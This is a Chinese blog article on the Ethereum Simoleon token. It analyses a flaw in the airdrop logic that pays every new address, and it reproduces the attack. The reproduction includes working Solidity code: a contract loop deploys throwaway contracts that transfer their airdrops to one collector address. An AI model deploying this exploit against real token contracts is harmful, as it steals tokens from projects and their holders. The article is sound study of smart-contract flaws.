区块链安全—循环Dos安全分析(一)

作者:Pinging(先知社区)

一、问题简介

熟悉以太坊的读者都清楚,在以太坊机制中,为了防止恶意节点滥用区块资源、防止Dos攻击,所以引入了Gas机制。然而防御也是存在某些漏洞隐患的,今天的文章中,我们就根据某些实例中的代码编写问题来展开叙述一下Dos循环的安全漏洞。

也就是说,在合约编写者设计合约代码的时候,不宜使用太大次的循环。由于每一笔交易都是会消耗一定的gas,而实际消耗gas值的多少取决于当前交易内部的复杂度。倘若一个交易中存在大量的循环,那么交易的复杂度会变的更高,此时当超过允许的最大gas消耗量时,会导致交易失败。

二、代码分析

Simoleon合约

下面我们详细的分析一下相关问题的代码情况。

简单来说Simoleon是一个私有的token代币名称,而根据其具体的合约分析,其实现机制中存在很严重的漏洞,从而导致用户进行薅羊毛的过程来恶意获得代币。下面我们来看一下具体的代码:

被攻击的合约地址为0x86c8bf8532aa2601151c9dbbf4e4c4804e042571,其合约代码在链接:https://etherscan.io/address/0x86c8bf8532aa2601151c9dbbf4e4c4804e042571#code中。

下面我们详细的分析一下代码的具体过程。

代码起始部分定义了一个父合约ERC20Interface。在父合约中我们看到了7个函数,而这些函数就是我们上一篇文章中分析过的ERC20代币的interface。也更好的反正了我们当时所说几乎所有的代币目前都是基于ERC20而创建的。而函数的具体用法大家可以参照我上一篇文章。

pragma solidity ^0.4.8;

contract ERC20Interface {
    function totalSupply() public constant returns (uint256 supply);
    function balance() public constant returns (uint256);
    function balanceOf(address _owner) public constant returns (uint256);
    function transfer(address _to, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
    function allowance(address _owner, address _spender) public constant returns (uint256 remaining);

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}

之后进入了主合约阶段:

contract Simoleon is ERC20Interface {
    string public constant symbol = "SIM";
    string public constant name = "Simoleon";
    uint8 public constant decimals = 2;

    uint256 _totalSupply = 0;
    uint256 _airdropAmount = 1000000;
    uint256 _cutoff = _airdropAmount * 10000;

    mapping(address => uint256) balances;
    mapping(address => bool) initialized;

    // Owner of account approves the transfer of an amount to another account
    mapping(address => mapping (address => uint256)) allowed;

在变量的初始化中,合约定义了六个成员变量。分别表示:合约类型、合约名字、小数位数、合约总金额、合约空投金额、账户余额以及账户布尔定义

合约名为:Simoleon,并且继承了ERC20Interface。也就意味着合约实现了多态性并且根据自己的目标重定义了函数。下面,我们来看一下具体函数的实现方法。

function Simoleon() {
        initialized[msg.sender] = true;
        balances[msg.sender] = _airdropAmount * 1000;
        _totalSupply = balances[msg.sender];
    }

    function totalSupply() constant returns (uint256 supply) {
        return _totalSupply;
    }

    // What's my balance?
    function balance() constant returns (uint256) {
        return getBalance(msg.sender);
    }

    // What is the balance of a particular account?
    function balanceOf(address _address) constant returns (uint256) {
        return getBalance(_address);
    }

首先是构造函数Simoleon ()。在构造函数中,合约会将初始地址sender标记为true(此标记用于记录账户是否是首次出现),之后会初始化余额为_airdropAmount * 1000,然后更新合约总金额。

而下面的三个函数为constant类型的查看函数,用于对_totalSupply 、getBalance(msg.sender) 、getBalance(_address)的值进行查看。

之后我们就进入了此合约比较关键的函数--初始化函数。

// internal private functions
    function initialize(address _address) internal returns (bool success) {
        if (_totalSupply < _cutoff && !initialized[_address]) {
            initialized[_address] = true;
            balances[_address] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
    }

我们来对此函数进行下分析,在此函数中,我们会传入一个地址。首先会判断总金额有没有达到我们规定的上限以及我传入的地址是否被标记过(即是否是初次调用初始化函数)。若满足条件则进入函数体:将地址标记为真,然后向新合约赠送空投(即注册就送一些钱),之后更新合约中总金额。

之后是转账函数:

// Transfer the balance from owner's account to another account
    function transfer(address _to, uint256 _amount) returns (bool success) {
        initialize(msg.sender);

        if (balances[msg.sender] >= _amount
            && _amount > 0) {
            initialize(_to);
            if (balances[_to] + _amount > balances[_to]) {

                balances[msg.sender] -= _amount;
                balances[_to] += _amount;

                Transfer(msg.sender, _to, _amount);

                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

在转账函数调用的过程中,我们传入收款方以及转账金额。首先是需要对此地址是否进行过初始化进行判断。在完成金额判断后(balances[msg.sender] >= _amount && _amount > 0 )我们调用初始化函数(用于防止传入的to地址是首次调用的情况)。此时我的to也就无非两种情况:①不是第一次使用初始化,此时初始化无效。②是第一次初始化,合约赠送代币。

之后跳入if (balances[_to] + _amount > balances[_to])。用于防止溢出,之后进行转账记录并emit相应的事件(方便管理员进行后续的查看工作以及追踪交易记录)。

function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
        initialize(_from);

        if (balances[_from] >= _amount
            && allowed[_from][msg.sender] >= _amount
            && _amount > 0) {
            initialize(_to);
            if (balances[_to] + _amount > balances[_to]) {

                balances[_from] -= _amount;
                allowed[_from][msg.sender] -= _amount;
                balances[_to] += _amount;

                Transfer(_from, _to, _amount);

                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

上面的transferFrom也是如此,只不过使用了ERC20中的allowed变量来允许代转账操作。(详细的解释看我上一篇文章)

再之后就是一些基础的函数:

function approve(address _spender, uint256 _amount) returns (bool success) {
        allowed[msg.sender][_spender] = _amount;
        Approval(msg.sender, _spender, _amount);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }



    function getBalance(address _address) internal returns (uint256) {
        if (_totalSupply < _cutoff && !initialized[_address]) {
            return balances[_address] + _airdropAmount;
        }
        else {
            return balances[_address];
        }
    }

分别是授权函数、查看allowed值的函数、以及获取余额的函数。而获取余额函数中分了两种情况:①未初始化的地址,返回空投金额。②初始化过的,返回正常地址。

而下面我们来看一下具体的安全隐患。

因为合约设计的本意就是给未进行初始化的账户赠送1000000 wei的以太币,所以我们理所应当的就会想到我们可以多创建几个小号来获得奖励,并将小号中的钱都转给一个账户。以此来达到薅羊毛的作用。

我们来看一下真实合约中存在的攻击。

这个用户就是在进行合约部署中采取了上述的薅羊毛攻击。从而使自己的余额达到了7,110,000 SIM之多。而在分析该账户的实际调用中,我们发现该账户生成了多个不同地址的合约,并且将每个临时合约所获得的奖励金额全部转到攻击地址中,之后以达到薅羊毛的作用。

而下面我们进行具体的代码分析。

在薅羊毛的过程中,最重要的部分就是这个转账函数。攻击者可以编写攻击合约并new出许多临时合约,并在这些合约中调用此函数,将_to的地址设置为攻击合约地址。并将_amount设置为转账金额,以此达到无限转账的目的。而在黑客攻击的时候,基于Gas值的限制,所以他无法循环调用多次new操作,因为这样会消耗大量的gas。

如图所示,当黑客将循环设置为80的时候,tx失败。而50则可以正常进行,这就是因为80次交易会超出gas的limitation。

类似的问题我们还有Lctf中的一个题目。

链接如下:https://paper.seebug.org/747/。大家可以下去后自行研究。

三、攻击复现

在网上的一些材料中也有对此攻击的具体实现手段,但是唯独缺少了一些攻击手段实现的脚本,所以下面我们针对此问题着手进行脚本的撰写,并模拟部署攻击环节。

下面我们部署一下相应的合约。

合约采用0.4.8版本。

首先我们放上部署的被攻击合约:

pragma solidity ^0.4.8;

contract ERC20Interface {
    function totalSupply() public constant returns (uint256 supply);
    function balance() public constant returns (uint256);
    function balanceOf(address _owner) public constant returns (uint256);
    function transfer(address _to, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
    function allowance(address _owner, address _spender) public constant returns (uint256 remaining);

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}

contract Simoleon is ERC20Interface {
    string public constant symbol = "SIM";
    string public constant name = "Simoleon";
    uint8 public constant decimals = 2;

    uint256 _totalSupply = 0;
    uint256 _airdropAmount = 1000000;
    uint256 _cutoff = _airdropAmount * 10000;

    mapping(address => uint256) balances;
    mapping(address => bool) initialized;

    // Owner of account approves the transfer of an amount to another account
    mapping(address => mapping (address => uint256)) allowed;

    function Simoleon() {
        initialized[msg.sender] = true;
        balances[msg.sender] = _airdropAmount * 1000;
        _totalSupply = balances[msg.sender];
    }

    function totalSupply() constant returns (uint256 supply) {
        return _totalSupply;
    }

    // What's my balance?
    function balance() constant returns (uint256) {
        return getBalance(msg.sender);
    }

    // What is the balance of a particular account?
    function balanceOf(address _address) constant returns (uint256) {
        return getBalance(_address);
    }



    // internal private functions
    function initialize(address _address) internal returns (bool success) {
        if (_totalSupply < _cutoff && !initialized[_address]) {
            initialized[_address] = true;
            balances[_address] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
    }




    // Transfer the balance from owner's account to another account
    function transfer(address _to, uint256 _amount) returns (bool success) {
        initialize(msg.sender);

        if (balances[msg.sender] >= _amount
            && _amount > 0) {
            initialize(_to);
            if (balances[_to] + _amount > balances[_to]) {

                balances[msg.sender] -= _amount;
                balances[_to] += _amount;

                Transfer(msg.sender, _to, _amount);

                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

    // Send _value amount of tokens from address _from to address _to
    // The transferFrom method is used for a withdraw workflow, allowing contracts to send
    // tokens on your behalf, for example to "deposit" to a contract address and/or to charge
    // fees in sub-currencies; the command should fail unless the _from account has
    // deliberately authorized the sender of the message via some mechanism; we propose
    // these standardized APIs for approval:
    function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
        initialize(_from);

        if (balances[_from] >= _amount
            && allowed[_from][msg.sender] >= _amount
            && _amount > 0) {
            initialize(_to);
            if (balances[_to] + _amount > balances[_to]) {

                balances[_from] -= _amount;
                allowed[_from][msg.sender] -= _amount;
                balances[_to] += _amount;

                Transfer(_from, _to, _amount);

                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

    // Allow _spender to withdraw from your account, multiple times, up to the _value amount.
    // If this function is called again it overwrites the current allowance with _value.
    function approve(address _spender, uint256 _amount) returns (bool success) {
        allowed[msg.sender][_spender] = _amount;
        Approval(msg.sender, _spender, _amount);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }



    function getBalance(address _address) internal returns (uint256) {
        if (_totalSupply < _cutoff && !initialized[_address]) {
            return balances[_address] + _airdropAmount;
        }
        else {
            return balances[_address];
        }
    }
}

之后我们在测试账号中部署Simoleon合约。

我们可以看到有如下一些函数。

我们可以对一些函数运行,例如我们对当前账户的余额进行查看,得到:

而此处的1000000000则是系统赠予的初始金额(空投)。

下面我们攻击的思路就是利用合约new出来许多新的临时地址,然后调用临时地址的转账函数把系统赠送的钱转给同一个账户。

下面我们看具体的合约内容:

contract attacker{
   address addr = 0x692a70d2e424a56d2c6c27aa97d1a86395877b3a;
   Simoleon target = Simoleon(addr);


//view contract's balance
   function viewBalance() public constant returns(uint256){
       return target.balanceOf(this);

   }
}

首先我们先部署一个攻击者收钱合约。地址为:0xfc713aab72f97671badcb14669248c4e922fe2bb

我们部署此合约的目的有两个,一是用于查看此账户的余额(因为它作为最后的总收款账户),二是用于为临时合约们提供转账地址。

我们可以看到合约现在的余额是系统赠送的那1000000  wei

下面我们部署攻击合约,首先是临时合约对象的部署:

contract attack{

    address target = 0x692a70d2e424a56d2c6c27aa97d1a86395877b3a;

    function attack() {
        target.call(bytes4(keccak256("transfer(address,uint256)")),0xfc713aab72f97671badcb14669248c4e922fe2bb, 1000000);
        selfdestruct(this);
    }
}

函数很简单,target为我们Simoleon的部署合约地址,在构造函数中使用call方法调用了target的transfer()函数,并将接受地址设置为我们的attacker合约地址,并设置转账金额为赠送金额1000000

之后我们部署build合约,用于循环创建临时合约:

contract bulid{
    function bulid() payable{    }  
    function deploy() public returns(bool){
        for(int i=0;i<=5;i++){
            new attack();
        }
    }

    function () payable {
    }
}

i的参数我起初设置的为5,用于进行小规模测试。并循环创建attack()临时合约。

我们进行了攻击,之后查看我们账户的余额,发现成功的获取了六次循环的6000000 。加上我们攻击账户本身赠送的一份钱,共有7000000。

下面我们加大循环次数:

将参数设置为25

可以运行:

将参数设置为50

同样部署成功。

将参数设置为80

时间等待特别长,这就体现了分布式的交易速度慢的问题。

发现网页崩溃emmmm,意味着超过了最大限度。

但是我们的攻击最后达成了,我们成功的利用薅羊毛的技术拿到了系统的许多金钱。

大家可以根据我提供的代码进行部署,并执行攻击操作。

(我将代码放置附加当中,大家可以下载部署)

四、参考文献

Simoleon.sol.zip                                (0.002 MB) 下载附件                            


*文章为作者独立观点,不代表BSCEC立场

转载此文章须经作者同意,并请附上出处(先知社区)及本页链接。原文链接 https://xz.aliyun.com/t/3803

白帽汇安全研究院转载2019-01-10 10:08:11 先知社区 316